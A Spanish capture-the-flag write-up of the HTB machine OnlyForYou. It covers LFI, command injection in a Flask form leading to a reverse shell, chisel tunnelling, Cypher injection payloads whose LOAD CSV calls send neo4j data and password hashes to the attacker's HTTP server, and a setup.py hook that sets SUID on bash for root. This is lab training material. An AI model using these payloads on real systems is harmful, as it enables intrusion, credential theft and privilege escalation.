OnlyForYou es una máquina de dificultad media en la plataforma de HTB. Para obtener acceso deberemos leer diversos archivos de la web mediante un LFI para encontrar una vulnerabilidad en el formulario. Mediante el formulario podremos ejecutar RCE. Para movernos a un usuario debemos realizar una Cypher Injection en una web interna para conseguir la contraseña. Y para la escalada de privilegios debemos modificar un archivo, crear un tar.gz y subirlo a la web intera de Gogs para después descargarnos el archivo mediante pip3 y así poder modificar la bash a permisos SUID.

Enumeración

Escaneo de puertos

Realizamos un escaneo para descubrir todos los puertos abiertos de la máquina.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.70.118 -oG allPorts
[sudo] contraseña para mrx: 
Lo siento, pruebe otra vez.
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-22 21:19 CEST
Initiating SYN Stealth Scan at 21:19
Scanning 10.129.70.118 [65535 ports]
Discovered open port 80/tcp on 10.129.70.118
Discovered open port 22/tcp on 10.129.70.118
Completed SYN Stealth Scan at 21:20, 12.35s elapsed (65535 total ports)
Nmap scan report for 10.129.70.118
Host is up, received user-set (0.046s latency).
Scanned at 2023-04-22 21:19:47 CEST for 13s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
           Raw packets sent: 68382 (3.009MB) | Rcvd: 66080 (2.643MB)

El escaneo nos reporta 2 puertos abiertos: el 22 (SSH) y el 80 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Realizamos un escaneo de los servicios y versiones sobre los puertos abiertos anteriormente reportados.

❯ nmap -p22,80 -sCV 10.129.70.118 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-22 21:22 CEST
Nmap scan report for 10.129.70.118
Host is up (0.062s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.72 seconds

Añadimos el subdominio only4you.htb al /etc/hosts.

Visitamos la web de la máquina pero no encontramos nada interesante, así que seguimos enumerando.

HTB

Mediante diresearch enumeramos posibles directorios pero no encontramos nada.

❯ dirsearch -u http://only4you.htb -t 200
[sudo] contraseña para mrx: 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/only4you.htb/_23-04-27_20-05-47.txt

Error Log: /root/.dirsearch/logs/errors-23-04-27_20-05-47.log

Target: http://only4you.htb/

[20:05:47] Starting: 

Task Completed

Ahora mediante ffuf enumeramos los posibles subdominios de la web.

❯ ffuf -w /snap/seclists/25/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.only4you.htb" -u http://only4you.htb -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://only4you.htb
 :: Wordlist         : FUZZ: /snap/seclists/25/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.only4you.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 301
________________________________________________

beta                    [Status: 200, Size: 2190, Words: 370, Lines: 52]

El escaneo nos reporta un dominio beta.only4you.htb así que lo añadimos al /etc/hosts.

Visitamos el subominio, podemos descargarnos el código fuente, modificar el tamaño de las imágenes y cambiar el formato de la imágen.

Nos descargamos el código fuente y lo analizamos.

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')

Al analizarlo nos damos cuenta que en la ruta /download si en el parámetro image empieza por 2 puntos entonces lanza un mensaje que dice Hacking detected y nos hace un redirect a /list.

Abrimos el Burpsuite y probamos a efectuar un LFI.

Efectivamente nos encontramos ante un LFI.

Como el servidor web es un nginx buscamos ficheros de configuración en busca de algo interesante.

❯ curl -s -X POST http://beta.only4you.htb/download -d "image=/etc/nginx/nginx.conf"
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}
[...]
    ##
    # Virtual Host Configs
    ##
[...]
    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
}
[...]

En uno de los archivos de configuración podemos ver las dos rutas de la web principal y el subdominio.

❯ curl -s -X POST http://beta.only4you.htb/download -d "image=/etc/nginx/sites-enabled/default"
server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
        listen 80;
        server_name only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
        }
}

server {
        listen 80;
        server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}

Si buscamos archivos de la web principal con los mismos nombres que los archivos del subdominio encontramos que el app.py existe.

❯ curl -s -X POST http://beta.only4you.htb/download -d "image=/var/www/only4you.htb/app.py"
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid                             

app = Flask(__name__)           
app.secret_key = uuid.uuid4().hex    

@app.route('/', methods=['GET', 'POST']) 
def index():                    
    if request.method == 'POST':
        email = request.form['email']                                                       
        subject = request.form['subject']
        message = request.form['message']                                                   
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:                                                                                                                                                                 
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:                                  
        return render_template('index.html')

@app.errorhandler(404)       
def page_not_found(error):                 
    return render_template('404.html'), 404

@app.errorhandler(500) 
def server_errorerror(error):              
    return render_template('500.html'), 500

@app.errorhandler(400)        
def bad_request(error):                    
    return render_template('400.html'), 400

@app.errorhandler(405)                                                                      
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

Podemos encontrar que importa un módulo desde un archivo.

from form import sendmessage

Si analizamos el código podemos encontrar posiblemente podamos efectuar un RCE en el formulario de la web principal.

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
        output = result.stdout.decode('utf-8')
        if "v=spf1" not in output:
            return 1
        else:
            domains = []
            ips = []
            if "include:" in output:
                dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
                dms.pop(0)
                for domain in dms:
                    domains.append(domain)
                while True:
                    for domain in domains:
                        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
                        output = result.stdout.decode('utf-8')
                        if "include:" in output:
                            dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
                            domains.clear()
                            for domain in dms:
                                domains.append(domain)
                        elif "ip4:" in output:
                            ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                            ipaddresses.pop(0)
                            for i in ipaddresses:
                                ips.append(i)
                        else:
                            pass
                    break
            elif "ip4" in output:
                ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                ipaddresses.pop(0)
                for i in ipaddresses:
                    ips.append(i)
            else:
                return 1
        for i in ips:
            if ip == i:
                return 2
            elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
                return 2
            else:
                return 1

def sendmessage(email, subject, message, ip):
    status = issecure(email, ip)
    if status == 2:
        msg = EmailMessage()
        msg['From'] = f'{email}'
        msg['To'] = '[email protected]'
        msg['Subject'] = f'{subject}'
        msg['Message'] = f'{message}'

        smtp = smtplib.SMTP(host='localhost', port=25)
        smtp.send_message(msg)
        smtp.quit()
        return status
    elif status == 1:
        return status
    else:
        return status

El problema reside en esta línea, como podemos ver el argumento domain no está sanitizado y el parámetro shell es True con lo cual, cualquier valor que se de como domain será interpretado por la consola.

result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

Iniciamos nuestra web local.

❯ sudo python3 -m http.server 80
[sudo] contraseña para mrx: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Capturamos una petición del formulario y realizamos una petición a nuestra web para comprobar que realmente nos encontramos ante un RCE.

Efectivamente nos llega la petición desde la máquina víctima.

❯ sudo python3 -m http.server 80
[sudo] contraseña para mrx: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [28/Apr/2023 19:07:29] "GET / HTTP/1.1" 200 -

Probamos ahora a realizar una reverse shell.

Nos ponemos en escucha por el puerto 4444 mediante netcat.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444

Enviamos la reverse shell URL encodeada.

Ganamos acceso a la máquina víctima como el usuario www-data.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.210 60044
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ hostname -I
10.10.11.210 dead:beef::250:56ff:feb9:7b2b

Enumerando puertos encontramos 3 interesantes, el 3000 y el 8001 parecen ser web pero el 7474 seguramente pertenezca a neo4j. Mediante chisel realizaremos un port forwarding.

www-data@only4you:~$ netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1042/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      -  

Ejecutamos en nuestra máquina el chisel en modo servidor por el puerto 8000.

❯ ./chisel server -p 8000 --reverse
2023/04/28 20:22:28 server: Reverse tunnelling enabled
2023/04/28 20:22:28 server: Fingerprint n4Y6D2xCSIXB1sBkLgWi8bGCukV4h3UmznQlNqZTIno=
2023/04/28 20:22:28 server: Listening on http://0.0.0.0:8000

Y una vez hemos pasado el chisel, lo ejecutamos en la máquina víctima como cliente y ponemos el & para que se ejecute en segundo plano.

www-data@only4you:/tmp$ ./chisel client 10.10.14.69:8000 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 &
[1] 17449

Recibimos la conexión de los puertos correctamente, así que ahora los escaneamos.

❯ ./chisel server -p 8000 --reverse
2023/04/28 20:22:28 server: Reverse tunnelling enabled
2023/04/28 20:22:28 server: Fingerprint n4Y6D2xCSIXB1sBkLgWi8bGCukV4h3UmznQlNqZTIno=
2023/04/28 20:22:28 server: Listening on http://0.0.0.0:8000
2023/04/28 20:26:47 server: session#1: tun: proxy#R:3000=>3000: Listening
2023/04/28 20:26:47 server: session#1: tun: proxy#R:8001=>8001: Listening

Realizamos un escaneo con nmap para descubrir los servicios y versiones.

# Nmap 7.80 scan initiated Fri Apr 28 21:14:38 2023 as: nmap -p3000,8001 -sCV -oN portForwarding localhost
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000070s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gogs=c1929a6d4ade7e8f; Path=/; HttpOnly
|     Set-Cookie: _csrf=av4GNMqbWctICBgjJbye-WWRAh46MTY4MjcwOTI4NTY1Mzk0NzY4Ng; Path=/; Domain=127.0.0.1; Expires=Sat, 29 Apr 2023 19:14:45 GMT; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Fri, 28 Apr 2023 19:14:45 GMT
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|     <meta name="referrer" content="no-referrer" />
|     <meta name="_csrf" content="av4GNMqbWctICBgjJbye-WWRAh46MTY4MjcwOTI4NTY1Mzk0N
|   HTTPOptions: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     X-Content-Type-Options: nosniff
|     Date: Fri, 28 Apr 2023 19:14:50 GMT
|     Content-Length: 108
|_    template: base/footer:15:47: executing "base/footer" at <.PageStartTime>: invalid value; expected time.Time
8001/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-title: Login
|_Requested resource was /login
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=4/28%Time=644C1B25%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,1FD6,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;
SF:\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=c1929a6d4ade7e8f;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=av4GNMqbWctICBgjJbye-WWR
SF:Ah46MTY4MjcwOTI4NTY1Mzk0NzY4Ng;\x20Path=/;\x20Domain=127\.0\.0\.1;\x20E
SF:xpires=Sat,\x2029\x20Apr\x202023\x2019:14:45\x20GMT;\x20HttpOnly\r\nX-C
SF:ontent-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x2
SF:0Fri,\x2028\x20Apr\x202023\x2019:14:45\x20GMT\r\n\r\n<!DOCTYPE\x20html>
SF:\n<html>\n<head\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-T
SF:ype\"\x20content=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http
SF:-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20n
SF:ame=\"author\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"descripti
SF:on\"\x20content=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20
SF:service\"\x20/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git
SF:,\x20self-hosted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20conte
SF:nt=\"no-referrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"av4GNM
SF:qbWctICBgjJbye-WWRAh46MTY4MjcwOTI4NTY1Mzk0N")%r(Help,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,14A
SF:,"HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x2
SF:0Max-Age=2147483647\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20F
SF:ri,\x2028\x20Apr\x202023\x2019:14:50\x20GMT\r\nContent-Length:\x20108\r
SF:\n\r\ntemplate:\x20base/footer:15:47:\x20executing\x20\"base/footer\"\x
SF:20at\x20<\.PageStartTime>:\x20invalid\x20value;\x20expected\x20time\.Ti
SF:me\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 28 21:16:08 2023 -- 1 IP address (1 host up) scanned in 89.92 seconds

Como podemos observar, los dos puertos son web.

En el puerto 3000 nos encontramos ante un Gogs.

Y en el puerto 8001 nos encontramos ante una web interna.

Si probamos con credenciales por defecto (admin:admin) conseguiremos acceder a la web.

Intrusión

Al acceder a la web podemos ver el siguiente mensaje, confirmando así que la base de datos es neo4j.

Si buscamos información sobre neo4j, encontramos en Hacktricks las Cypher Injection, que es un lenguaje de consultas de neo4j.

Probamos con esta query mediante Burpsuite para saber la versión, la url encodeamos y nos la enviamos a nuestro servidor web.

' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.69/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

Si todo es correcto nos debería llegar la petición con la versión de la base de datos.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [29/Apr/2023 15:29:41] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [29/Apr/2023 15:29:41] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

Ahora vamos a enumerar los lables.

'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.69/?label='+label as l RETURN 0 as _0 //

Enviamos la query mediante Burpsuite.

Nos envia 2 lables: user y employee

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [29/Apr/2023 17:45:12] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:12] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:12] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:12] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:13] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:13] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:13] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:13] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:13] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:45:13] "GET /?label=employee HTTP/1.1" 200 -

Enumeramos el label de user.

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.69/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

Volvemos a enviar otra query.

Obtenemos 2 hashes, el del usuario admin, que ya sabemos su contraseña y el del usuario john.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:35] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:36] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [29/Apr/2023 17:49:37] "GET /?username=john HTTP/1.1" 200 -

Mediant crackstation obtenemos la contraseña del usuario john.

Accedemos mediante ssh y leemos la flag.

❯ ssh [email protected]                 
The authenticity of host '10.10.11.210 (10.10.11.210)' can't be established.
ED25519 key fingerprint is SHA256:U8eFq/5B0v+ZYi75z7P7z+tVF+SfX4vocJo2UsHEsxM. 
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.210' (ED25519) to the list of known hosts.
[email protected]'s password:
john@only4you:~$
john@only4you:~$ cat user.txt 
19b6ec62b1fbff187bb913053443009c

Enumerando posibles vías de escalada de privilegios encontramos que podemos descargarnos cualquier recurso que esté en Gogs mediante pip3 sin necesidad de contraseña de administrador.

john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

Si buscamos encontraremos un artículo donde podemos ejecutar código arbitrário descargándonos un recurso con código malicioso. Link del recurso

Descargamos el repositorio, y modificamos un poco el archivo setup.py para poner la bash con permisos SUID.

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
    os.system("chmod u+s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)

class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

Creamos el archivo .tar.gz que será el que subiremos al repositorio.

❯ python3 -m build                                                                          
* Creating venv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...                                                   
running egg_info                         
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO                                                
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt        
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'     
adding license file 'LICENSE'                                                               
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
* Building sdist...                                                                         
running sdist                                                                               
running egg_info   
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'     
adding license file 'LICENSE'
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
running check                                                                               
creating this_is_fine_wuzzi-0.0.1           
creating this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info               
copying files to this_is_fine_wuzzi-0.0.1...                                                
copying LICENSE -> this_is_fine_wuzzi-0.0.1                                                 
copying README.md -> this_is_fine_wuzzi-0.0.1
copying setup.py -> this_is_fine_wuzzi-0.0.1                                                
copying this_is_fine_wuzzi.egg-info/PKG-INFO -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info          
copying this_is_fine_wuzzi.egg-info/SOURCES.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info
copying this_is_fine_wuzzi.egg-info/dependency_links.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info
copying this_is_fine_wuzzi.egg-info/top_level.txt -> this_is_fine_wuzzi-0.0.1/this_is_fine_wuzzi.egg-info                                                                               
Writing this_is_fine_wuzzi-0.0.1/setup.cfg                                                  
Creating tar archive                                                                        
removing 'this_is_fine_wuzzi-0.0.1' (and everything under it)
* Building wheel from sdist                                                                 
* Creating venv isolated environment...                                                     
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for wheel...                                                                                                                                               
running egg_info
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
adding license file 'LICENSE'
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
* Installing packages in isolated environment... (wheel)
* Building wheel...
running bdist_wheel
running build
installing to build/bdist.linux-x86_64/wheel
running install
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
running install_egg_info
running egg_info
chmod: cambiando los permisos de '/bin/bash': Operación no permitida
writing this_is_fine_wuzzi.egg-info/PKG-INFO
writing dependency_links to this_is_fine_wuzzi.egg-info/dependency_links.txt
writing top-level names to this_is_fine_wuzzi.egg-info/top_level.txt
reading manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
adding license file 'LICENSE'
writing manifest file 'this_is_fine_wuzzi.egg-info/SOURCES.txt'
Copying this_is_fine_wuzzi.egg-info to build/bdist.linux-x86_64/wheel/this_is_fine_wuzzi-0.0.1-py3.10.egg-info
running install_scripts
creating build/bdist.linux-x86_64/wheel/this_is_fine_wuzzi-0.0.1.dist-info/WHEEL
